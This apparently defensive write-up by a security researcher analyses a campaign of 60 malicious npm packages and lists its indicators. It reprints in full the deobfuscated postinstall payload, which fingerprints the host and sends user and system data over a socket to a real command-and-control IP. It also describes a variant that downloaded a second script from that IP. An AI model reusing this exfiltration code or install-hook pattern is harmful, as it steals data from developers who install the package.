Summary of the threat
Our malicious package detection identified a large sprawling threat campaign spread over more than six months. This threat campaign spanned dozens of npm packages, used automation to go undetected and appears to be the work of a Chinese threat actor. We were able to track this large network of npm packages and c2 infrastructure using our innovative software supply chain threat intelligence technology. We have dubbed this campaign "Yeshen-Asia" after a domain that can be found in some of the affected packages.
Threat campaign chronology
The start of this threat campaign started in December 2024 with three npm packages:
next-refresh-token

serve-static-corell

and openssl-node

All three of these malicious packages were published by different npm users.
The npm user afgh5dg published next-refresh-token using the email address afgh5dg@proton.me:

The npm user yesheng80 published serve-static-corell package using the email address yeshen80@outlook.com:

The npm user y6po published the openssl-node package using the email address gfdh6t@proton.me:

Each of these three packages had slightly different payloads, different number of files and different file content. In short, they did not look the same. All three of these original packages are still available on npm unfortunately:
https://www.npmjs.com/package/next-refresh-token
https://www.npmjs.com/package/serve-static-corell
https://www.npmjs.com/package/openssl-node
I have reached out to npm, but as of now, these malicious packages can still be downloaded and are probably compromising people as we speak.
NPM and SCA vendors did not identify these packages as malicious
OSV marked these three packages as malicious on January 19, 2025. However, for some unknown reason NPM did not follow suit and has not removed these three original packages from their registry.
What this means is that most SCA vendors have not been alerted to the malicious nature of these packages because their malicious package detection is immature: They wait for NPM to say its bad, then they say its bad. By that point, its too late.
More packages are published in March and April
The yeshen.asia threat actor published two more packages on March 22, 2025: adhgsc and adfg-project. Both packages were published by the same npm user, sfbdr, using the email address hgent7@outlook.com.
Then on April 21, 2025 the threat actor published a large set of 55 packages. All 55 of these packages were published by different npm users with unique email addresses. While each email address was different, they all shared the same domain: yeshen.asia.
This is a alphabetic list of all 60 packages in this threat campaign:
adfg-project
adhgsc
apache-httpclient
arduino-mock
arduinounit
babel-plugin-some-plugin
beautifulsoup4
commons-net
compiletest_rs
concurrent-hashmap
cordova-plugin-permissions
data-memocombinators
dayjs-plugin-duration
directx
fanotify
fasteners
flashcanvas
haml-jst-loader
highcharts-mouse-wheel-zoom
hungarian-algorithm
istanbul-reporter-lcov
jade-browserify
jetty-quic
josson
kidding
logdna-agent
make-plural-rules
meteor-roles
mock-arduino
mongoose-to-json
neo4j-apoc
neo4j-apoc-procedures
next-refresh-token
node-jwt-simple
openssl-node
opentk
phpseclib
platformio
psalm
reactotron-mobx
sails-mssql-adapter
scatterpie
scheme-latin-1-transcoder
seaborn
serve-static-corell
shaderc
sharp-heic
sharpgl
slf4j-api-js
slimdx
swagger2-postman2
typescript-plugin-some-plugin
vim-refactor
vite-plugin-node-modules-polyfills
vite-plugin-remove
vue-highcharts-official
wdio-healenium-service
windows-api-codec-pack
your-published-package
💡 UPDATED 3.45pm AEST, May 16 : The openssl-node, serve-static-corell, and next-refresh-token packages were removed from the NPM registry, but the c2 infrastructure remains active.
Evolution of this threat campaign - OpSec Automation introduced
This campaign is notable for its extensive coordination across multiple packages and the concern the threat actor had for operational security.
- There are three separate stages in this campaigns timeline:
- December 2024: Three packages are published that have different payloads. The threat actor is obviously experimenting and testing different attack vectors. Data exfiltration is present in two of the packages, but one of them connects to a command and control (c2) server.
- March 2025: Two packages are published with standardized payloads. The threat actor is staging their attack and fine tuning it.
- April 2025: Threat actor publishes the bulk of the malicious packages. These packages are standardized, have good opsec and take advantage of automation. The attack is now scalable with portable components that can be swapped out (domain, IPs, c2).
- The threat actor created separate individual npm accounts and email addresses for most of the 60 npm packages. This is unusual, as it is uncommon for threat actors to expend this much effort, given the work involved.
Automation used

If we focus on the batch of 55 packages published on April 21 by analyzing the individual package timestamps we can see that there is often less than 60 seconds between each package being published.
You can see to the right a list of the timestamps for the packages published on the 21st of April. Remember that each of these packages has a unique NPM user and email address, so that means the threat actors would have to:
- Create a new email address. These email addresses appear to be randomly generated.
- Create a new NPM account. The NPM account names also appear to be randomly generated, but are different from the email address random strings.
- Verify the email address before they could publish a public package
- Upload the package file and publish the package
It seems improbable that the threat actors could do all of that in less than 60 seconds. This leads us to believe that the threat actors are using multiple automation tools to make this attack scalable.
All 55 accounts created on April 21, 2025 were created in less than two hours total.
What does the malicious code do?
Because there were three different timeframes for this attack, we will concentrate on the last grouping of malicious packages deployed in April, 2025.
We always start by analyzing the package.json file. As you can see in the scripts stanza below, this package is calling a post install script via node src/postinstall.js

If you analyze the src/postinstall.js script you can see that all its doing is creating a background process via node src/main.js

Okay, so let’s take a look at main.js…

Aha! We have an obfuscated file! I’ve deobfuscated the main.js file and am including it here in its entirety:
const _htxlqcw3 = require("os");
const _vf4j9exk = require("net");
const { execSync: _n2ixt363 } = require("child_process");
const _p6z6wt1u = "8.152.163.60"; // C2 IP address
const _ye3lqs82 = 8058; // TCP port number
function _jjf5bw7e() {
try {
// the threat actor is testing for screen resolution
if (_htxlqcw3.platform() === "win32") {
const a = _n2ixt363(
"wmic path Win32_VideoController get CurrentHorizontalResolution,CurrentVerticalResolution /format:value"
).toString();
const b = a.split("\\n");
const c = {};
b.forEach((d) => {
if (d.includes("CurrentHorizontalResolution")) {
c.width = parseInt(d.split("=")[1].trim(), 10);
} else if (d.includes("CurrentVerticalResolution")) {
c.height = parseInt(d.split("=")[1].trim(), 10);
}
});
if (c.width && c.height) {
return c.width + "x" + c.height;
} else {
return "N/A";
}
// the threat actor is testing for screen resolution
} else if (_htxlqcw3.platform() === "linux") {
const a = _n2ixt363(
"xrandr --current | grep \\\\* | uniq | awk '{print $1}'"
).toString();
return a.trim() || "N/A (Linux/No X)";
// the threat actor is testing for screen resolution
} else if (_htxlqcw3.platform() === "darwin") {
const a = _n2ixt363(
"system_profiler SPDisplaysDataType | grep Resolution | awk '{print $2\\"x\\"$4}'"
).toString();
return a.trim() || "N/A (macOS)";
}
return "N/A (不支持的操作系统或无头环境)"; // TRANSLATION: "Unsupported operating system or headless environment"
} catch (a) {
return "N/A (错误)"; // TRANSLATION: "mistake"
}
}
function _8fk5sfri() {
try {
return Intl.DateTimeFormat().resolvedOptions().locale;
} catch (a) {
return (
process.env.LANG || process.env.LC_ALL || process.env.LC_MESSAGES || "N/A"
);
}
}
function _4dj90bo5() {
try {
let a = "";
a = _htxlqcw3.platform() === "win32" ? "tasklist /nh /fo csv" : "ps aux";
const b = _n2ixt363(a, {
timeout: 5000,
encoding: "utf8",
});
const c = b.trim().split("\\n");
return {
count: c.length,
// the threat actor is looking for web browsers and Microsoft Office
hasBrowser: /chrome|firefox|msedge|safari/i.test(b),
hasOffice: /winword|excel|powerpnt|soffice/i.test(b),
};
} catch (a) {
return {
count: -1,
error: a.message,
};
}
}
function _k3qw1yh5() {
const a = Date.now();
const b = _htxlqcw3.platform();
const c = _htxlqcw3.release();
const d = _htxlqcw3.version();
const e = _htxlqcw3.arch();
const f = _htxlqcw3.hostname();
const g = _htxlqcw3.uptime();
const h = _htxlqcw3.userInfo();
const i = _htxlqcw3.totalmem();
const j = _htxlqcw3.freemem();
const k = _htxlqcw3.cpus();
const l = _jjf5bw7e(); // Function gets video config - looking for Windows instead of headless servers
const m = _8fk5sfri(); // Get locale information - ie, geographical location
const n = _4dj90bo5(); // Get Windows task list - looking for browsers and Microsoft Office processes
const o = process.stdout.isTTY;
const _wkemv52f = "4o2-13";
const p = {
flag: _wkemv52f,
basic: {
osType: b,
arch: e,
},
detailed: {
osRelease: c,
osVersion: d,
hostname: f,
uptime: g,
username: h.username,
homedir: h.homedir,
shell: h.shell,
totalMemory: i,
freeMemory: j,
cpuCount: k.length,
cpuModel: k.length > 0 ? k[0].model : "N/A",
screenResolution: l,
locale: m,
processes: n,
isInteractive: o,
},
};
const q = Date.now();
p.executionDurationMs = q - a;
_ks7b2kaw(JSON.stringify(p));
}
function _ks7b2kaw(a) {
const b = new _vf4j9exk.Socket();
b.connect(_ye3lqs82, _p6z6wt1u, () => {
b.write(a);
});
b.on("data", (a) => {
b.destroy();
});
b.on("error", (a) => {});
b.on("close", () => {});
}
_k3qw1yh5();
I have added annotations to translate the Chinese text and explain the obfuscated variables. These explanations appear above with // comments.
Payload stages
The payload does several things:
- It identifies if the host has a windowing environment like Microsoft Windows. It does this by identifying the screen resolution in that windowing environment. If it detects there isn’t one, it echo’s an error saying “unsupported operating system or headless environment”. Clearly the threat actor is looking for Microsoft Windows desktops, or other desktop hosts. This could be related to targeting, or it could be part of a test to see if the package is running in a security sandbox.
- It then identifies the language supported by the host, and gets the locale or regional configuration. It’s doing this to determine where the host is and who’s using it.
- Next it gets a list of processes currently running. It then parses those processes looking for browser and Microsoft Office processes.
- It then collects information about the system including operating system, type and number of cpus, hostname, uptime, user name, user home directory, user shell, total memory, amount of free memory, and more.
- Finally, the Javascript adds the data from numbers 1, 2, 3 and 4 above to a JSON blob and exfiltrates it to the IP address 8[.]152.163.60 port 8058.
Earlier versions of payload downloaded additional file from C2
Earlier versions of one of the packages, serve-static-corell, had a different version of the payload in version 1.0.0 of the package. In this version, the main.js file downloaded a Javascript file from the address https://8[.]152.163.60/scripts/drop.js

All later versions of the malicious packages that we’ve analyzed only exfiltrate data to this IP address, and don’t use it to download files or other c2 related functions.
Native Javascript payloads are a new and powerful innovation for criminals
It’s important at this point to realize that criminal groups are quietly innovating behind the scenes, and I don’t think that defenders are ready for these innovations. In this case, bad guys have created singular all-inclusive Javascript native malware. This malware doesn’t need binaries, or side-loaded DLLs. Instead it all works via a npm install or when the library is imported into a Javascript project.
We are already seeing overlap between existing traditional phishing and credential stuffing campaigns with NPM based malicious packages. It makes sense as criminals have found yet another way to distribute their malware, but in a way that bypasses existing security tools.
But new Javascript based payloads are changing the playing field in a big way. Javascript payloads like this are powerful for several reasons:
- Highly adaptable and portable: These files can be changed quickly and new versions pushed to NPM. Move fast and pwn stuff.
- Every new version can update the payload: Once the package is installed on a compromised host, the bad guys can push new versions to deliver new updated payloads or other persistence mechanisms. I have personally seen malicious NPM packages have 20+ different versions as the author updated the payloads to address mitigations.
- Javascript payloads like this bypass all known EDR including Crowdstrike, SentinelOne and Windows Defender: CISO’s, your investment in EDR doesn’t help you here, sorry. 😟
- If a C2 domain gets burned, a new version of the package simply changes the C2 domain and its up and running again: no need to push a new binary, no need to do anything other than change the origin file and push it to NPM or PyPI. Then let the normal distribution of new packages happen to deliver your updated C2.
- Package gets removed from NPM? Just create a new email address and NPM account and publish the same code again as a new package. Rinse and repeat while you are innovating your payloads.
Threat intelligence
All 60 malicious packages in this threat campaign had one thing in common: The IP address 8[.]152.163.60 was used for exfiltration of data and command and control (c2). This allowed us to tie all 60 packages together even though they all used different npm usernames and email addresses.
If you analyze that IP in Shodan we can see that its an Ubuntu Linux server running in the Beijing region of Alibaba cloud.

If we dig into that domain, we can see that yeshen[.]asia was registered on March 14th, 2025. Up until this point the threat actor was not using a custom domain.

Around March 12-14, 2025 the root nameservers for the yeshen[.]asia domain were changed from hichina.com to Cloudflare:

There are DNS records for two yeshen[.]asia subdomains:

The websites https://main[.]yeshen[.]asia and https://apimain[.]yeshen[.]asia are using Cloudflare to hide their origin servers, but I have been able to validate that the origin server for both domains is the IP address being used for C2: 8[.]152.163.60
What is https://main[.]yeshen[.]asia?
If you browse to https://main[.]yeshen[.]asia you’ll see a web app that appears to let you generate email addresses in the yeshen[.]asia domain:

Turns out that this is an implementation of a cool serverless open-source project named cloudflare_temp_email which you can find at https://github.com/dreamhunter2333/cloudflare_temp_email.
Since it was there, I decided to see if it worked and try and make an email address. Sure enough, it worked! I successfully made an email address “studyhost@yeshen.asia”.

Rest assured I will not use said email for publishing malicious npm packages, but the bad guys love tools like this, and they absolutely ARE going to use this tool for their automation.
Criminals can use projects like this to quickly create dozens or hundreds of emails. This tool runs on Cloudflare serverless workers, so there is no server to manage, and it costs next to nothing, or maybe even literally nothing for the criminals to run.
Malicious package detection from vendors is not good enough
While some of these malicious packages have been removed by npm, several of them have not. For some reason even though OSV has marked next-refresh-token, serve-static-corell, and openssl-node as malicious on January 19, 2025, NPM has not removed these packages.
Beyond that, several products that are supposed to detect malicious packages have not marked these packages as malicious either. We suspect his related to their simplistic malicious package detection rules which simply mark something as malicious in their platform when NPM marks something as malicious. Well, in this case because NPM dropped the ball many platforms have not noticed that these packages are malicious, and that’s not good.
Indicators of Compromise (IOCs)
Domains:
yeshen[.]asia
IP addresses:
8[.]152.163.60
NPM Packages:
See the list above
Take aways from this attack campaign
While other products did not notice that these packages are malicious, Safety did. Our malicious package detection identified all 60 packages in this campaign as malicious, and let our customers know. Even better, we gave our customers indicators of compromise (IOC) data that was made actionable immediately by our new Safety Firewall product.
Safety Firewall runs on developers workstations and laptops. Firewall also runs in the CI/CD pipelines companies use and our IOC data is sent to those Firewall endpoints to protect them in real-time. So, when we identify a new malicious package we send the package name, IP addresses, c2 domains, exfiltration endpoints and more to all Safety Firewalls so they can deny access to those assets and block the use those packages.
Thanks for sticking around to the end!
I hope you have enjoyed going down this rabbit hole with me.
Hit me up directly if you have any questions about this campaign.
You can find me on LinkedIn and BlueSky.
Paul McCarty - Head of Research, Safety